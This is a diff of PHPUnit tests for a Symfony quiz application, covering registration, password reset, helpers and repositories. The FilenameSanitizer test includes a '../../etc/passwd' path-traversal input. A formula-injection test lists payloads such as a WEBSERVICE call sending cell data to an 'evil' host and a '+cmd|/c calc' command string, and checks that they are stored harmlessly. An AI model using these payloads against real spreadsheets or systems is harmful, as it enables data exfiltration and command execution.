$this->client->request(Request::METHOD_GET, \sprintf('/krtek/%s', Base64::base64UrlEncode('Tom')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/krtek');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Je mag deze test niet beantwoorden');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,90 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use SymfonyCasts\Bundle\VerifyEmail\VerifyEmailHelperInterface;
|
||||||
|
use Tvdt\Controller\RegistrationController;
|
||||||
|
|
||||||
|
#[CoversClass(RegistrationController::class)]
|
||||||
|
final class RegistrationControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
public function testRegisterPageLoadsWhenNotAuthenticated(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/register');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRegisterRedirectsToBackofficeWhenAlreadyAuthenticated(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/register');
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/backoffice/');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRegisterCreatesUserSendsConfirmationAndLogsIn(): void
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/register');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'registration_form[email]' => 'newuser@example.org',
|
||||||
|
'registration_form[plainPassword][first]' => 'NewPass123!',
|
||||||
|
'registration_form[plainPassword][second]' => 'NewPass123!',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/backoffice/');
|
||||||
|
self::assertEmailCount(1);
|
||||||
|
|
||||||
|
$this->entityManager->clear();
|
||||||
|
$user = $this->getUserByEmail('newuser@example.org');
|
||||||
|
$this->assertFalse($user->isVerified);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testVerifyEmailWithoutIdRedirectsToRegister(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/verify/email');
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/register');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testVerifyEmailWithUnknownIdRedirectsToRegister(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/verify/email', ['id' => '00000000-0000-0000-0000-000000000000']);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/register');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testVerifyEmailWithValidSignatureMarksUserVerified(): void
|
||||||
|
{
|
||||||
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
|
$this->assertFalse($user->isVerified);
|
||||||
|
|
||||||
|
/** @var VerifyEmailHelperInterface $helper */
|
||||||
|
$helper = self::getContainer()->get(VerifyEmailHelperInterface::class);
|
||||||
|
$signature = $helper->generateSignature('tvdt_verify_email', $user->id->toRfc4122(), $user->email, ['id' => $user->id]);
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, $signature->getSignedUrl());
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/backoffice/');
|
||||||
|
|
||||||
|
$this->entityManager->clear();
|
||||||
|
$updatedUser = $this->getUserByEmail('test@example.org');
|
||||||
|
$this->assertTrue($updatedUser->isVerified);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testVerifyEmailWithInvalidSignatureShowsErrorAndRedirects(): void
|
||||||
|
{
|
||||||
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/verify/email', ['id' => (string) $user->id, 'expires' => '9999999999', 'signature' => 'invalid']);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/register');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,10 +4,8 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller;
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
||||||
use SymfonyCasts\Bundle\ResetPassword\ResetPasswordHelperInterface;
|
use SymfonyCasts\Bundle\ResetPassword\ResetPasswordHelperInterface;
|
||||||
@@ -15,18 +13,8 @@ use Tvdt\Controller\ResetPasswordController;
|
|||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
|
|
||||||
#[CoversClass(ResetPasswordController::class)]
|
#[CoversClass(ResetPasswordController::class)]
|
||||||
final class ResetPasswordControllerTest extends WebTestCase
|
final class ResetPasswordControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
$this->client = self::createClient();
|
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testRequestPageLoads(): void
|
public function testRequestPageLoads(): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/reset-password');
|
$this->client->request(Request::METHOD_GET, '/reset-password');
|
||||||
@@ -35,22 +23,19 @@ final class ResetPasswordControllerTest extends WebTestCase
|
|||||||
$this->assertSelectorExists('form');
|
$this->assertSelectorExists('form');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testRequestWithUnknownEmailRedirectsToCheckEmail(): void
|
/** @return iterable<string, array{string}> */
|
||||||
|
public static function emailProvider(): iterable
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/reset-password');
|
yield 'unknown email' => ['unknown@example.org'];
|
||||||
$form = $this->client->getCrawler()->filter('form')->form([
|
yield 'known email' => ['test@example.org'];
|
||||||
'reset_password_request_form[email]' => 'unknown@example.org',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
|
|
||||||
$this->assertResponseRedirects('/reset-password/check-email');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testRequestWithKnownEmailRedirectsToCheckEmail(): void
|
#[DataProvider('emailProvider')]
|
||||||
|
public function testRequestRedirectsToCheckEmail(string $email): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/reset-password');
|
$this->client->request(Request::METHOD_GET, '/reset-password');
|
||||||
$form = $this->client->getCrawler()->filter('form')->form([
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
'reset_password_request_form[email]' => 'test@example.org',
|
'reset_password_request_form[email]' => $email,
|
||||||
]);
|
]);
|
||||||
$this->client->submit($form);
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
|||||||
@@ -6,21 +6,12 @@ namespace Tvdt\Tests\Controller;
|
|||||||
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Safe\DateTimeImmutable;
|
use Safe\DateTimeImmutable;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\WellKnownController;
|
use Tvdt\Controller\WellKnownController;
|
||||||
|
|
||||||
#[CoversClass(WellKnownController::class)]
|
#[CoversClass(WellKnownController::class)]
|
||||||
final class WellKnownControllerTest extends WebTestCase
|
final class WellKnownControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
$this->client = self::createClient();
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testChangePasswordRedirectsToSettings(): void
|
public function testChangePasswordRedirectsToSettings(): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/.well-known/change-password');
|
$this->client->request(Request::METHOD_GET, '/.well-known/change-password');
|
||||||
|
|||||||
@@ -0,0 +1,100 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Entity;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use Tvdt\Entity\BankAnswer;
|
||||||
|
use Tvdt\Entity\BankQuestion;
|
||||||
|
use Tvdt\Entity\BankQuestionUsage;
|
||||||
|
use Tvdt\Entity\Quiz;
|
||||||
|
|
||||||
|
#[CoversClass(BankQuestion::class)]
|
||||||
|
final class BankQuestionTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testIsCompleteForQuizIsFalseWithoutTwoAnswers(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Only answer', true));
|
||||||
|
|
||||||
|
$this->assertFalse($bankQuestion->isCompleteForQuiz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsCompleteForQuizIsFalseWithoutCorrectAnswer(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Wrong 1'));
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Wrong 2'));
|
||||||
|
|
||||||
|
$this->assertFalse($bankQuestion->isCompleteForQuiz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsCompleteForQuizIsFalseWithMultipleCorrectAnswers(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Right 1', true));
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Right 2', true));
|
||||||
|
|
||||||
|
$this->assertFalse($bankQuestion->isCompleteForQuiz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsCompleteForQuizIsTrueWithTwoAnswersAndOneCorrect(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Right', true));
|
||||||
|
$bankQuestion->addAnswer(new BankAnswer('Wrong'));
|
||||||
|
|
||||||
|
$this->assertTrue($bankQuestion->isCompleteForQuiz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCanBeAssignedIsTrueWhenUnused(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
|
||||||
|
$this->assertTrue($bankQuestion->canBeAssigned);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCanBeAssignedIsTrueWhenReusableEvenIfUsed(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->reusable = true;
|
||||||
|
$bankQuestion->addUsage(new BankQuestionUsage($bankQuestion, new Quiz()));
|
||||||
|
|
||||||
|
$this->assertTrue($bankQuestion->canBeAssigned);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCanBeAssignedIsFalseWhenSingleUseAndUsed(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addUsage(new BankQuestionUsage($bankQuestion, new Quiz()));
|
||||||
|
|
||||||
|
$this->assertFalse($bankQuestion->canBeAssigned);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsUsedInQuizIsTrueForQuizWithUsage(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$quiz = new Quiz();
|
||||||
|
$bankQuestion->addUsage(new BankQuestionUsage($bankQuestion, $quiz));
|
||||||
|
|
||||||
|
$this->assertTrue($bankQuestion->isUsedInQuiz($quiz));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIsUsedInQuizIsFalseForDifferentQuiz(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->addUsage(new BankQuestionUsage($bankQuestion, new Quiz()));
|
||||||
|
|
||||||
|
$this->assertFalse($bankQuestion->isUsedInQuiz(new Quiz()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testToStringReturnsQuestionText(): void
|
||||||
|
{
|
||||||
|
$bankQuestion = new BankQuestion();
|
||||||
|
$bankQuestion->question = 'Wie is de Krtek?';
|
||||||
|
|
||||||
|
$this->assertSame('Wie is de Krtek?', (string) $bankQuestion);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Entity;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use Symfony\Component\HttpFoundation\InputBag;
|
||||||
|
use Tvdt\Entity\Elimination;
|
||||||
|
use Tvdt\Entity\Quiz;
|
||||||
|
|
||||||
|
#[CoversClass(Elimination::class)]
|
||||||
|
final class EliminationTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testGetScreenColourReturnsNullForNullName(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
|
||||||
|
$this->assertNull($elimination->getScreenColour(null));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetScreenColourReturnsNullForUnknownName(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
$elimination->data = $this->colours(['Tom' => Elimination::SCREEN_GREEN]);
|
||||||
|
|
||||||
|
$this->assertNull($elimination->getScreenColour('Claudia'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testGetScreenColourReturnsColourForKnownName(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
$elimination->data = $this->colours(['Tom' => Elimination::SCREEN_GREEN, 'Claudia' => Elimination::SCREEN_RED]);
|
||||||
|
|
||||||
|
$this->assertSame(Elimination::SCREEN_RED, $elimination->getScreenColour('Claudia'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpdateFromInputBagUpdatesKnownColours(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
$elimination->data = $this->colours(['Tom' => Elimination::SCREEN_GREEN, 'Claudia' => Elimination::SCREEN_RED]);
|
||||||
|
|
||||||
|
$elimination->updateFromInputBag($this->inputBag(['colour-tom' => Elimination::SCREEN_RED]));
|
||||||
|
|
||||||
|
$this->assertSame(Elimination::SCREEN_RED, $elimination->data['Tom']);
|
||||||
|
$this->assertSame(Elimination::SCREEN_RED, $elimination->data['Claudia']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpdateFromInputBagIgnoresMissingInput(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
$elimination->data = $this->colours(['Tom' => Elimination::SCREEN_GREEN]);
|
||||||
|
|
||||||
|
$elimination->updateFromInputBag($this->inputBag([]));
|
||||||
|
|
||||||
|
$this->assertSame(Elimination::SCREEN_GREEN, $elimination->data['Tom']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUpdateFromInputBagReturnsSelf(): void
|
||||||
|
{
|
||||||
|
$elimination = new Elimination(new Quiz());
|
||||||
|
|
||||||
|
$this->assertSame($elimination, $elimination->updateFromInputBag($this->inputBag([])));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $colours
|
||||||
|
*
|
||||||
|
* @return array<string, string>
|
||||||
|
*/
|
||||||
|
private function colours(array $colours): array
|
||||||
|
{
|
||||||
|
return $colours;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $parameters
|
||||||
|
*
|
||||||
|
* @return InputBag<bool|float|int|string>
|
||||||
|
*/
|
||||||
|
private function inputBag(array $parameters): InputBag
|
||||||
|
{
|
||||||
|
/** @var InputBag<bool|float|int|string> $inputBag */
|
||||||
|
$inputBag = new InputBag($parameters);
|
||||||
|
|
||||||
|
return $inputBag;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,28 +4,34 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Helpers;
|
namespace Tvdt\Tests\Helpers;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use PHPUnit\Framework\TestCase;
|
use PHPUnit\Framework\TestCase;
|
||||||
use Safe\Exceptions\UrlException;
|
use Safe\Exceptions\UrlException;
|
||||||
use Tvdt\Helpers\Base64;
|
use Tvdt\Helpers\Base64;
|
||||||
|
|
||||||
|
#[CoversClass(Base64::class)]
|
||||||
final class Base64Test extends TestCase
|
final class Base64Test extends TestCase
|
||||||
{
|
{
|
||||||
public function testBase64UrlEncode(): void
|
/** @return iterable<string, array{string, string}> */
|
||||||
|
public static function pairProvider(): iterable
|
||||||
{
|
{
|
||||||
$this->assertSame('TWFyaWpu', Base64::base64UrlEncode('Marijn'));
|
yield 'Marijn' => ['Marijn', 'TWFyaWpu'];
|
||||||
$this->assertSame('UGhpbGluZQ', Base64::base64UrlEncode('Philine'));
|
yield 'Philine' => ['Philine', 'UGhpbGluZQ'];
|
||||||
|
yield 'byte 254' => [\chr(254), '_g'];
|
||||||
$this->assertSame('_g', Base64::base64UrlEncode(\chr(254)));
|
yield 'byte 250' => [\chr(250), '-g'];
|
||||||
$this->assertSame('-g', Base64::base64UrlEncode(\chr(250)));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testBase64UrlDecode(): void
|
#[DataProvider('pairProvider')]
|
||||||
|
public function testBase64UrlEncode(string $decoded, string $encoded): void
|
||||||
{
|
{
|
||||||
$this->assertSame('Marijn', Base64::base64UrlDecode('TWFyaWpu'));
|
$this->assertSame($encoded, Base64::base64UrlEncode($decoded));
|
||||||
$this->assertSame('Philine', Base64::base64UrlDecode('UGhpbGluZQ'));
|
}
|
||||||
|
|
||||||
$this->assertSame(\chr(254), Base64::base64UrlDecode('_g'));
|
#[DataProvider('pairProvider')]
|
||||||
$this->assertSame(\chr(250), Base64::base64UrlDecode('-g'));
|
public function testBase64UrlDecode(string $decoded, string $encoded): void
|
||||||
|
{
|
||||||
|
$this->assertSame($decoded, Base64::base64UrlDecode($encoded));
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testBase64UrlDecodeCanHandlePadding(): void
|
public function testBase64UrlDecodeCanHandlePadding(): void
|
||||||
|
|||||||
@@ -4,41 +4,31 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Helpers;
|
namespace Tvdt\Tests\Helpers;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use PHPUnit\Framework\TestCase;
|
use PHPUnit\Framework\TestCase;
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
use Tvdt\Helpers\FilenameSanitizer;
|
||||||
|
|
||||||
|
#[CoversClass(FilenameSanitizer::class)]
|
||||||
final class FilenameSanitizerTest extends TestCase
|
final class FilenameSanitizerTest extends TestCase
|
||||||
{
|
{
|
||||||
public function testReplacesSpacesWithDashes(): void
|
/** @return iterable<string, array{string, string}> */
|
||||||
|
public static function sanitizeProvider(): iterable
|
||||||
{
|
{
|
||||||
$this->assertSame('Krtek-Weekend', FilenameSanitizer::sanitize('Krtek Weekend'));
|
yield 'replaces spaces with dashes' => ['Krtek Weekend', 'Krtek-Weekend'];
|
||||||
|
yield 'strips path traversal' => ['../../etc/passwd', 'etc-passwd'];
|
||||||
|
yield 'strips forward slash' => ['a/b', 'a-b'];
|
||||||
|
yield 'strips backslash' => ['a\\b', 'a-b'];
|
||||||
|
yield 'strips control characters and special symbols' => ["Quiz #1 <script>\0", 'Quiz-1-script'];
|
||||||
|
yield 'transliterates unicode to ascii' => ['Wéird Ñame', 'Weird-Name'];
|
||||||
|
yield 'transliterates at sign in email' => ['test@example.org', 'test-example-org'];
|
||||||
|
yield 'returns unnamed for empty input' => ['', 'unnamed'];
|
||||||
|
yield 'returns unnamed for fully stripped input' => ['///', 'unnamed'];
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testStripsPathSeparatorsAndTraversal(): void
|
#[DataProvider('sanitizeProvider')]
|
||||||
|
public function testSanitize(string $input, string $expected): void
|
||||||
{
|
{
|
||||||
$this->assertSame('etc-passwd', FilenameSanitizer::sanitize('../../etc/passwd'));
|
$this->assertSame($expected, FilenameSanitizer::sanitize($input));
|
||||||
$this->assertSame('a-b', FilenameSanitizer::sanitize('a/b'));
|
|
||||||
$this->assertSame('a-b', FilenameSanitizer::sanitize('a\\b'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testStripsControlCharactersAndSpecialSymbols(): void
|
|
||||||
{
|
|
||||||
$this->assertSame('Quiz-1-script', FilenameSanitizer::sanitize("Quiz #1 <script>\0"));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testTransliteratesUnicodeToAscii(): void
|
|
||||||
{
|
|
||||||
$this->assertSame('Weird-Name', FilenameSanitizer::sanitize('Wéird Ñame'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testTransliteratesAtSignInEmail(): void
|
|
||||||
{
|
|
||||||
$this->assertSame('test-example-org', FilenameSanitizer::sanitize('test@example.org'));
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testReturnsUnnamedForEmptyOrFullyStrippedInput(): void
|
|
||||||
{
|
|
||||||
$this->assertSame('unnamed', FilenameSanitizer::sanitize(''));
|
|
||||||
$this->assertSame('unnamed', FilenameSanitizer::sanitize('///'));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,63 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Helpers;
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||||
|
|
||||||
|
#[CoversClass(FormulaInjectionSafeValueBinder::class)]
|
||||||
|
final class FormulaInjectionSafeValueBinderTest extends TestCase
|
||||||
|
{
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
Cell::setValueBinder(new DefaultValueBinder());
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @return iterable<string, array{string}> */
|
||||||
|
public static function dangerousValueProvider(): iterable
|
||||||
|
{
|
||||||
|
yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
|
||||||
|
yield 'plus-prefixed' => ['+cmd|/c calc'];
|
||||||
|
yield 'minus-prefixed' => ['-2+3'];
|
||||||
|
yield 'at-prefixed' => ['@SUM(1,1)'];
|
||||||
|
}
|
||||||
|
|
||||||
|
#[DataProvider('dangerousValueProvider')]
|
||||||
|
public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
|
||||||
|
{
|
||||||
|
$sheet = new Spreadsheet()->getActiveSheet();
|
||||||
|
$sheet->setCellValue('A1', $value);
|
||||||
|
|
||||||
|
$cell = $sheet->getCell('A1');
|
||||||
|
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||||
|
$this->assertSame($value, $cell->getValue());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testOrdinaryValuesAreUnaffected(): void
|
||||||
|
{
|
||||||
|
$sheet = new Spreadsheet()->getActiveSheet();
|
||||||
|
$sheet->setCellValue('A1', 'Anna en Bram');
|
||||||
|
$sheet->setCellValue('A2', 42);
|
||||||
|
$sheet->setCellValue('A3', true);
|
||||||
|
|
||||||
|
$this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
|
||||||
|
$this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
|
||||||
|
$this->assertSame(42, $sheet->getCell('A2')->getValue());
|
||||||
|
$this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
|
||||||
|
$this->assertTrue($sheet->getCell('A3')->getValue());
|
||||||
|
$this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -53,4 +53,22 @@ final class CandidateRepositoryTest extends DatabaseTestCase
|
|||||||
);
|
);
|
||||||
$this->assertNotInstanceOf(Candidate::class, $result);
|
$this->assertNotInstanceOf(Candidate::class, $result);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Candidate names are only unique per season, so a same-named candidate in another season must not leak in. */
|
||||||
|
public function testGetCandidateByHashScopesByCandidateSeasonNotJustName(): void
|
||||||
|
{
|
||||||
|
$krtekSeason = $this->getSeasonByCode('krtek');
|
||||||
|
$anotherSeason = $this->getSeasonByCode('bbbbb');
|
||||||
|
|
||||||
|
$duplicateNamedCandidate = new Candidate('Claudia');
|
||||||
|
$anotherSeason->addCandidate($duplicateNamedCandidate);
|
||||||
|
$this->entityManager->persist($duplicateNamedCandidate);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$candidate = $this->candidateRepository->getCandidateByHash($krtekSeason, 'Q2xhdWRpYQ');
|
||||||
|
|
||||||
|
$this->assertInstanceOf(Candidate::class, $candidate);
|
||||||
|
$this->assertSame($krtekSeason, $candidate->season);
|
||||||
|
$this->assertNotSame($duplicateNamedCandidate, $candidate);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,25 +5,28 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Tests\Repository;
|
namespace Tvdt\Tests\Repository;
|
||||||
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Repository\SeasonRepository;
|
use Tvdt\Repository\SeasonRepository;
|
||||||
|
|
||||||
#[CoversClass(SeasonRepository::class)]
|
#[CoversClass(SeasonRepository::class)]
|
||||||
final class SeasonRepositoryTest extends DatabaseTestCase
|
final class SeasonRepositoryTest extends DatabaseTestCase
|
||||||
{
|
{
|
||||||
public function testGetSeasonsForUser(): void
|
/** @return iterable<string, array{string, string}> */
|
||||||
|
public static function userSeasonsProvider(): iterable
|
||||||
{
|
{
|
||||||
$user = $this->getUserByEmail('krtek-admin@example.org');
|
yield 'krtek admin' => ['krtek-admin@example.org', 'krtek'];
|
||||||
|
yield 'user1' => ['user1@example.org', 'bbbbb'];
|
||||||
|
}
|
||||||
|
|
||||||
|
#[DataProvider('userSeasonsProvider')]
|
||||||
|
public function testGetSeasonsForUser(string $email, string $expectedSeasonCode): void
|
||||||
|
{
|
||||||
|
$user = $this->getUserByEmail($email);
|
||||||
|
|
||||||
$seasons = $this->seasonRepository->getSeasonsForUser($user);
|
$seasons = $this->seasonRepository->getSeasonsForUser($user);
|
||||||
$this->assertCount(1, $seasons);
|
$this->assertCount(1, $seasons);
|
||||||
$this->assertSame('krtek', $seasons[0]->seasonCode);
|
$this->assertSame($expectedSeasonCode, $seasons[0]->seasonCode);
|
||||||
|
|
||||||
$user = $this->getUserByEmail('user1@example.org');
|
|
||||||
|
|
||||||
$seasons = $this->seasonRepository->getSeasonsForUser($user);
|
|
||||||
$this->assertCount(1, $seasons);
|
|
||||||
$this->assertSame('bbbbb', $seasons[0]->seasonCode);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testUserWithMultipleSeasons(): void
|
public function testUserWithMultipleSeasons(): void
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Service;
|
||||||
|
|
||||||
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
use Tvdt\Entity\Question;
|
